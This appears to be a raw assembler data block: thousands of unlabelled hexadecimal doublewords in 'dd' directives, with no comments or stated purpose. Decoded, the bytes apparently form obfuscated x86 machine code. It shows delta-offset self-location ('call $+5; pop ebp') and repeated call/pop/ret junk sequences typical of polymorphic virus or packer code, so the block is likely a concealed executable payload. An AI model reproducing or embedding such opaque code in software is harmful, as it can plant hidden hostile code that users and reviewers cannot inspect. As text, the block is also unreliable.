dd 0F244BAEEh, 60509000h, 59616057h, 5876B451h, 0BD8B9061h
dd 6480411h, 13DB58Bh, 7EE90648h, 0B0000003h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0C3FA63C6h, 0C9308B73h, 0B58B70E6h, 6482B79h, 0B60F71E4h
dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 0DD951A37h, 28B18589h, 0F38B0648h, 9EDF8166h
dd 6BA5Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 0F5DC84C3h, 159A5EA4h, 896F578Ch
dd 4811F1BDh, 6AC38B06h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 0B294C351h, 7967B5A9h
dd 34EE6E46h, 6604E8C1h, 0AE9E2F7h, 0CC000000h, 4890A78Eh
dd 9687386Eh, 6AD82B3Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0B08AC351h, 60602960h
dd 10E9BD8Bh, 8B0F0648h, 0
dd 0C9816661h, 506168ABh, 89FA8B66h, 6A241Ch, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0C48786C3h
dd 2DB5FFF7h, 0F064808h, 689h, 71B52900h, 0FF064800h, 48092D95h
dd 16BE6606h, 6A00B077h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 65D5C356h, 64A3F1BCh
dd 0ED87D565h, 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 66BF1EC3h, 0BED0E10h, 81FCD315h
dd 998F41C7h, 6A71E447h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 3C58C352h, 0C2830F61h
dd 29000001h, 4828E1BDh, 0D8B60F06h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 3C35747h, 85896062h, 648030Dh
dd 11F1858Bh, 0BA610648h, 6, 0F419D89h, 0C38B0648h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 5FC35747h, 8166B1DEh
dd 0C1B896CEh, 6A04E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 34A97C3h, 32169075h, 14E98509h
dd 0F7660648h, 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 0A1B58B2Ch, 81064806h
dd 0D555B2C7h, 0F8BF0F61h, 6AD82Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0F7814FC3h
dd 0CBC8230h, 25BF6658h, 0FD82BDDh, 0D488h, 85858900h
dd 0B9064832h, 7, 1BF1B58Bh, 0C1830648h, 71B58B00h, 3B06480Ah
dd 0B2860FD9h, 8B000000h, 0D98C66F3h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 5C35040h, 0DC6F6D15h, 3B10F976h
dd 0CE9FDh, 0F86B0000h, 71863D27h, 39B7531Bh, 0C1F6B6DDh
dd 6C840F04h, 8B000000h, 0F195FFF9h, 66064828h, 5B383DBEh
dd 8E8h, 6EC51000h, 98D91AF3h, 0C32B5F6Eh, 8343Dh, 44860F00h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0A748C353h, 8824407Ah, 73B6C16Ah
dd 3161BD89h, 8B0F0648h, 8, 3D9D3153h, 5F064806h, 8E9h
dd 96C68100h, 8B08A7B9h, 8BC38BC0h, 53006AD8h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 9C4C65E5h
dd 0BC7D12DAh, 66579E29h, 5E9731BFh, 12B585C7h, 0AB5F0648h
dd 6A7FB6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0FE975C3h, 51000000h, 60A15833h, 0D971B430h
dd 0DA795305h, 8589E24Dh, 6481A61h, 0B58BC08Bh, 6480C31h
dd 82DBD81h, 7D00648h, 850F0000h, 59h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 6FC35040h, 0BF66DE47h, 85FFA39Bh
dd 648082Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 6CC35141h, 0AB23D44Dh, 60531B7Dh, 0BF0FFC8Ah, 895F61F6h
dd 4814E9BDh, 2DB5FF06h, 66064808h, 7CFDD781h, 92D95FFh
dd 8D890648h, 648109Dh, 0BE8h, 6A6D1E00h, 69CB23B4h, 3714A43Bh
dd 65A582BEh, 0F905E6Eh, 1288h, 0DE900h, 0E5360000h, 9F4D9940h
dd 9569DDEAh, 6096D52Ah, 15F9B58Bh, 8A0F0648h, 0Ah, 0D0F5B966h
dd 29899D89h, 0BE660648h, 6A61AFA8h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 8BD7C355h
dd 6604FFE4h, 0BE8F38Bh, 0CF000000h, 0CEBCACD8h, 0B1141E2Fh
dd 6A5EE902h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 97BBC357h, 7CB0363Dh, 0BAA4918Ah
dd 33DEBE66h, 0B5296056h, 6480499h, 39858BFCh, 6106480Dh
dd 3285BD8Bh, 6A5F0648h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0DFF8C355h, 79A00FC4h
dd 0F681C359h, 3998AC20h, 0CD8589F9h, 8B06481Ah, 483101BDh
dd 8D315606h, 6482801h, 0F08B665Fh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 1C35141h, 53313431h, 2EC5B589h
dd 0E95F0648h, 0FFFFF8D5h, 3850F781h, 14E97C49h, 0DD000000h
dd 87D913ACh, 9E4D5EE1h, 1E160F8h, 0DC0C7689h, 8BB08FBDh
dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 7BBEFAC4h, 6F52B4FBh, 15BD318Bh, 0EB064817h
dd 4, 5E900h, 0B5A30000h, 66A17E19h, 880FF08Bh, 3, 8DFB8B66h
dd 48125585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h, 0C3504000h, 35DFEF0Fh, 665024EBh, 89284BBEh
dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0C304D6C3h, 0FE7ECC95h, 9D31A18Eh, 6481259h
dd 6AF5006Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 0BF3487B6h, 7D6CA03Ch, 13E82666h
dd 0
dd 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh, 665E6A45h
dd 0D5FDE81h, 55A858Dh, 6A064Ch, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 0DF317C3h, 0F9BD8B52h
dd 5E064809h, 0AD5BD8Bh, 0C0830648h, 0DDBD2B05h, 9006480Fh
dd 50FE8B66h, 87A390BEh, 0B5039070h, 6481A49h, 0BD03006Ah
dd 64815E5h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 95FFDEC3h, 6482B2Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 4FC35343h, 0EE819A22h
dd 35AB68F0h, 99389D8Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 2B5778C3h, 0FD3FFC3h
dd 85FFFEB7h, 6481AD1h, 0CE9h, 78FDAC00h, 97565687h, 1261552Eh
dd 0E95E52D2h, 7A5h, 0E8h, 0ED815D00h, 64C0564h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 32C35343h, 818161C2h
dd 48082DBDh, 7D006h, 49860F00h, 6A000001h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 475EC357h
dd 4A77A647h, 9D8B9E63h, 64812C5h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 68C35545h, 0B589AF46h, 6482B55h
dd 100E381h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 863F5CC3h, 4DBD3A63h, 0BD8B56FBh
dd 6480085h, 850FDB0Bh, 6Fh, 83FFB70Fh, 4C03C0BDh, 840F0006h
dd 33h, 6BD1DE81h, 64E927D7h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7F12C355h
dd 0C9AF7855h, 0E98D891Ch, 0C7064808h, 4C03C085h, 106h
dd 2820F00h, 57000000h, 3810F5Fh, 0F000000h, 1CE9F8BFh
dd 0F000000h, 682h, 69C78100h, 0C70814EBh, 4C03C085h, 6
dd 41853100h, 8D064827h, 4812C59Dh, 559D2906h, 81064811h
dd 0FFFEFF23h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 0BFEA742Bh, 2CE40DCBh
dd 0BD8B6052h, 6482B35h, 890Fh, 5F610000h, 6ADB8C66h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 300DC356h, 25072BFBh, 3F2ED781h, 0C3F61253h, 7B840F04h
dd 0F000000h, 1185h, 6E800h, 0C7DF0000h, 3DCADBBCh, 0AF5F77BFh
dd 95FF5F23h, 64828F1h, 14E8h, 4561DE00h, 303BE573h, 6D7D9D99h
dd 0FDD4C707h, 26C37F10h, 0D1BD8B35h, 5F06482Eh, 0CE95250h
dd 61000000h, 0D5DC642Ch, 0E81A00A8h, 5EC63317h, 6A240489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 9699C351h, 0D032138Fh, 1AC5BD01h, 72E90648h
dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0D197C350h, 0B58981B0h, 648168Dh
dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 0A09BCAC3h, 2D858995h, 0E6064833h, 52006A70h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0E7816817h, 73AB23CFh, 0B60F71E4h, 31B58BD8h, 0BA06480Fh
dd 6, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
dd 82C35040h, 0AE98Bh, 7260000h, 6C7DC276h, 43AA2A48h
dd 17C5B58Bh, 0C38B0648h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0EC35545h, 24635815h, 8560FC4Dh, 6A04E8C1h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 11C4C352h, 0B58BAEECh, 648312Dh, 29E2F766h
dd 48229595h, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0CD2CC353h, 28179745h
dd 8B6050E0h, 48141195h, 89BD8B06h, 61064831h, 5F52935Fh
dd 0FFF59350h, 48082DB5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0AAEDA701h
dd 95FF672Ch, 648092Dh, 8D0900B0h, 6480941h, 6A70E6h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 816660C3h, 8133ADEFh, 22DEC6EEh, 0E971E40Eh, 9, 499ADAh
dd 48CFB635h, 0F613CB7h, 1B883h, 0FF18B00h, 6AD8B6h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0EBB6C9C3h, 8B4B4A6Fh, 482331B5h, 6BA06h, 8BF50000h
dd 0EF8166C3h, 0E8C110A1h, 14E904h, 0DDFE0000h, 6A1C695h
dd 9091DEBFh, 1AC7EDB2h, 0AC5D1605h, 0F766EF93h, 52006AE2h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0DC8E93BDh, 99D68167h, 8B16F871h, 480A09B5h, 6AD82B06h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 4669C351h, 6AC5845Eh, 0E991715Ch, 11h, 9AF8C881h
dd 0F008036Fh, 7A39BAF9h, 8DFA4DE2h, 35BD8B9Ah, 5806480Ch
dd 0BE9h, 142ACA00h, 5ABC386Dh, 0E80BBA83h, 880FD82Bh
dd 0D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 1BC35545h, 9AB79EF2h, 890F58C4h, 0
dd 7B9h, 0C18300h, 860FD93Bh, 0A1h, 2865BD8Bh, 8C660648h
dd 0E8D0FD9h, 0E9000000h, 9, 0DDC30CABh, 11EE3548h, 4C1F6D6h
dd 76840Fh, 0B50B0000h, 64828A1h, 28F195FFh, 0BE90648h
dd 1C000000h, 0E3A968D5h, 125759B5h, 0BE668DB8h, 605BCFF2h
dd 81F98B66h, 0FF3EE2D9h, 0C32B6113h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 82C35646h, 521BD8Bh, 81660648h
dd 3D3FECCEh, 834h, 16860Fh, 0EBBF0000h, 0E94BC089h, 11h
dd 6860Fh, 0DF810000h, 36E568AFh, 0B70FC08Bh, 8BC38BFEh
dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0BF418B22h, 47148E1Eh, 296585C7h, 33510648h
dd 6650582Ah, 4B7AC681h, 89C08B5Fh, 482BD5BDh, 2DBD8106h
dd 0D0064808h, 0F000007h, 985h, 0FA8B6600h, 82D85FFh, 0B5FF0648h
dd 648082Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 2EC35040h, 0B5895187h, 6480949h, 2D95FF5Eh, 6A064809h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 0A6FCC352h, 6A90F62Eh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C29FC357h
dd 0D8C2734Ch, 50609A69h, 890Fh, 59510000h, 0A19D8959h
dd 8B06480Eh, 4810E1BDh, 0FE96106h, 0B8000000h, 93D35825h
dd 6948C144h, 2FDD286Ah, 8E90D77h, 0CC000000h, 59CBB35Ch
dd 6A86BD9Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0CB65C352h, 3B535FBBh, 0CD9D01D6h
dd 106482Fh, 483105B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 807E96D6h, 84824C63h
dd 12E9E9h, 2230000h, 0C30E0EF3h, 0EC9A8FA7h, 0FD0DC669h
dd 4F2D44AFh, 6AF78B66h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 8BB8C350h, 48046DB5h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 5B3892CEh, 6056EB91h, 6773BB66h, 2B358D8Bh
dd 8B660648h, 880F61F2h, 6, 29259589h, 0E95E0648h, 0FFFFF880h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 49C35646h
dd 8344C586h, 0C33A21BEh, 6AC18B7Fh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 952FC350h
dd 9E960h, 0D3370000h, 0EB6F3260h, 8981CE76h, 482F119Dh
dd 4EB6106h, 0
dd 40CBF66h, 53006AF5h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 55858DC9h, 0BE064812h, 7DDC3819h
dd 6A905090h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 463EC350h, 0C8C87195h, 6ACA6649h
dd 0F6B70F00h, 589BD8Bh, 6A0648h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0BC35747h, 8B1CD89Fh, 480065BDh
dd 33F8BE06h, 858D57D3h, 64C0F1Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 2EC35242h, 8F5CE829h, 0F8F0FF9h
dd 68Ch, 11858900h, 8306480Bh, 0BD3305C0h, 6480099h, 50535790h
dd 5A310F52h, 505F5F58h, 0FE8h, 3DAE4E00h, 0EE194587h
dd 0EC2813ADh, 29622717h, 0E4B5BE66h, 6A905Eh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0F38B56C3h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 816626C3h, 6AFAFCF7h, 0DE800h, 65710000h
dd 80BCDE50h, 1FC1E531h, 5E2AD321h, 2B2D95FFh, 6A0648h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 782AC6C3h, 982E301Ah, 5E98DADh, 47000000h, 413F4D39h
dd 18158D29h, 9D8D0648h, 64B9938h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 58C35242h, 269BC0B5h, 1F8E149Dh
dd 66D3FFD4h, 66232CBEh, 0FF0332BEh, 481AD185h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 8DB58BB1h, 0E9064800h, 8DFh, 0E8h, 0ED815D00h, 64C0F24h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 36C35545h
dd 82DBD81h, 7D00648h, 860F0000h, 17Ch, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 17h, 0DDC35242h, 0F3C9D7Eh
dd 18Ch, 9D8BFC00h, 64812F5h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 0D7C35040h, 63AB7962h, 4880F09h
dd 66000000h, 812EC1BEh, 100E3h, 8E68100h, 0B6A679Ch, 0AB850FDBh
dd 29000000h, 481681B5h, 3BBD8306h, 64C0Dh, 3B840Fh, 0B5890000h
dd 6480AD5h, 0C1E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 7222373Dh, 64D3630h, 1B58BD3h
dd 3306480Fh, 482911BDh, 3B85C706h, 1064C0Dh, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 0B545C357h, 9F1F3FABh, 0E9FC218Ch, 5Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6FC35646h, 77169F29h
dd 71D517BAh, 0FF08B66h, 85C7F3BFh, 64C0D3Bh, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A2C35343h
dd 9209E79Eh, 0C80AE239h, 781BD31h, 9D8D0648h, 64812F5h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1C35343h
dd 0F45F4698h, 0FEFF2381h, 0BD29FFFFh, 64815C5h, 6ADB8C66h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 3164C356h, 4804859Dh, 0BD296006h, 64816FDh
dd 68E0Fh, 858B0000h, 6480F21h, 4C3F661h, 40840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 8B5B1AC3h, 482839B5h, 0F195FF06h, 29064828h, 48102D95h
dd 2DBF9006h, 5032E35Fh, 90FA8B66h, 1B01B589h, 32E90648h
dd 0F000004h, 1380h, 0EE900h, 5A660000h, 451232F5h, 98F245A6h
dd 0E6C3BF61h, 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 425ECC3h, 2189D248h, 70E6B295h
dd 0BC1BD23h, 71E40648h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0F3C35545h, 688BAB01h, 0CFA4840Fh, 0D8B60FD6h
dd 0D998589h, 6BA0648h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0BB88C352h
dd 54D3EBFAh, 8A3FB00Fh, 870FC38Bh, 0
dd 8B04E8C1h, 94DF81F0h, 66424067h, 6AE2F7h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 0C8F836C3h
dd 2B568B19h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 6840F99h, 60000000h, 6160A5B3h, 52505061h
dd 0B860Fh, 5E80000h, 7F000000h, 85D7E423h, 0F310F5Eh
dd 1986h, 14E900h, 8F7E0000h, 6E87006Bh, 7EAD9B1Dh, 0D329BBEDh
dd 90CBDC12h, 585A4D6Ch, 6A241C89h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 678C351h
dd 0A1506E10h, 10E968h, 0AC140000h, 0BC5EEEF8h, 0B76EE00h
dd 544F9084h, 0B5FF65EBh, 648082Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 0B4C35343h, 0E15118h, 35B58B5Dh
dd 0E906481Ch, 11h, 0A4240CFEh, 80345AEFh, 6A907979h, 0BAD76379h
dd 2D95FF77h, 0B0064809h, 0E9853100h, 66064804h, 384ED681h
dd 0BF0F70E6h, 6A71E4FEh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 0F13FC356h, 75DBDDBCh
dd 0B58981F8h, 6481235h, 6880Fh, 8D890000h, 6481825h, 830F613Ch
dd 225h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 8FC35040h, 51BD8BE6h, 0F064830h, 0EF81D8B6h, 5B57D125h
dd 6BAh, 0F18B6600h, 2BD58D89h, 0C38B0648h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 67C35343h, 8B04E8C1h
dd 4829D5B5h, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 3AC35242h, 0FADD264h, 0B76065F3h, 68B0FC0h
dd 0F000000h, 8Dh, 0D82B6100h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 89C35646h, 5D6B2A6Bh, 0F248A4AFh
dd 3105B589h, 0BD230648h, 6481231h, 0DDB50958h, 2B064821h
dd 4E880FD8h, 6A000001h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 1CADC350h, 7B9A6FAh
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0DEACC353h, 83E35760h, 8B6000C1h
dd 48274185h, 0C0BF0F06h, 0FD93B61h, 0F486h, 0B5B53300h
dd 0F064816h, 8C66F1BFh, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0DA0BDC52h, 35DB9D57h
dd 0C1F6751Fh, 0AC840F04h, 3000000h, 48170DBDh, 0F195FF06h
dd 5B064828h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 0D5C35242h, 4CFCD986h, 82D57EE5h, 6AC32Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 60DEF1C3h, 68B0Fh, 958B0000h, 6481EF5h, 8343D61h, 860F0000h
dd 43h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
dd 4C35545h, 0A8D0Fh, 0B2600000h, 318D8B48h, 61064809h
dd 6800Fh, 0B58B0000h, 6480D91h, 14E9h, 0E5B58B00h, 8B06480Bh
dd 29B523C0h, 8106481Ah, 1DDEA0F6h, 8BC38B2Fh, 53006AD8h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 897FE40Bh, 480CE5B5h, 0C585C706h, 51064812h, 6A73D469h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 59D9C352h, 2A3D8509h, 0C08B0648h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DDC35343h, 60D167h
dd 0BD8164A2h, 648082Dh, 7D0h, 52850Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 8D5B44C3h, 9BBDD071h, 9BD890Dh, 0FF064800h, 48082D85h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 0AF45552Ah, 0FF60B6DCh, 82DB5FFh, 6A0648h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0BFCFEC3h, 3A4243BAh, 66F2BF0Fh, 0FF6777BFh, 48092D95h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 5CC606C6h, 81B52B0Dh, 31064830h, 480F9DBDh
dd 6A9006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 0FE2F2EC3h, 22EDEFCDh, 0F8F28BC0h, 0F78B6650h
dd 52006A5Eh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0F7E3C7Dh, 684h, 1B58B00h, 60064814h, 6B9958Bh
dd 9D8B0648h, 6483131h, 107DBD89h, 66610648h, 6ADDC4BEh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 7CCDC352h, 6CCF1AB1h, 13E8h, 55AF7400h, 60D22968h
dd 0C3AC2D3Bh, 0CFA88A3Dh, 5849C28Ah, 219D8B60h, 6606482Fh
dd 7DB0C78Bh, 860F5F61h, 0
dd 1515BD8Bh, 0E4BE0648h, 0B3F8F13h, 4816D9BDh, 6E906h
dd 83BF0000h, 940A6609h, 0F0B70F52h, 5FF28B66h, 0C830Fh
dd 0BE660000h, 8E0F2891h, 2, 6A6160h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 45E902C3h
dd 6AFFFFF7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0C83AC353h, 1BD8BCBh, 8B064809h
dd 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 0D2E5F8C9h, 4EBh, 0BD8B0000h, 6481C35h
dd 81BD8B51h, 5E064812h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 54C35343h, 0E728448Ch, 9F0CCF81h, 858D1E30h
dd 6481255h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 9DC35141h, 35A3C79h, 89AE7FC5h, 4806B185h, 7E906h
dd 0F7130000h, 0D62C0B5Eh, 6056906Ch, 5E619EB5h, 9E96050h
dd 50000000h, 0F87EBE87h, 0B5BDB240h, 0EE9h, 1C31F900h
dd 60EE825Eh, 6AE72947h, 61375BE6h, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0B72A3F10h
dd 6636AB86h, 8A0F8869h, 3, 6AF28B66h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0E9534BA7h, 0Ch, 7475FF9Bh, 0B1867D4Ch, 5A5EE4FCh, 60006A5Fh
dd 668AD180h, 36DFC181h, 46858D61h, 0F5064C1Ah, 0BE05C083h
dd 898B87Bh, 4830F90h, 66000000h, 509C70BFh, 90F18B66h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2C35646h
dd 2F7C780h, 0C33C57Fh, 6AF9BF0Fh, 15B58900h, 6A06480Dh
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0C59D89FAh, 8B06482Eh, 480D4DBDh, 2D95FF06h
dd 6A06482Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 3471C355h, 0C4190BF1h, 0F98B9E91h
dd 13718589h, 95090648h, 6481475h, 99389D8Dh, 9531064Bh
dd 648276Dh, 2EE9B58Bh, 0D3FF0648h, 44DE8166h, 0D185FF29h
dd 6A06481Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 43B8C355h, 1A2C4FF8h, 6050D47Ch
dd 491B533h, 0EE90648h, 65000000h, 52FFC2D8h, 54C84DB8h
dd 88A170A2h, 8E961E1h, 0EE000000h, 0CEE0F697h, 0E9226ACBh
dd 7FFh, 0E8h, 0ED815D00h, 64C1A50h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0BBC35646h, 9ECAC265h, 5FFC511Fh
dd 2DBD81F8h, 0D0064808h, 0F000007h, 10F86h, 6E900h, 0E3970000h
dd 0CF53730Bh, 30799D8Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 2E8969C3h, 906F9157h
dd 81FEDA40h, 100E3h, 0B59D8900h, 0B064807h, 7C850FDBh
dd 0F000000h, 1481h, 0FE900h, 17990000h, 0FD322EAAh, 0AF0472AEh
dd 878C6525h, 21BD83BAh, 64C18h, 10840Fh, 81660000h, 0E90D2DC7h
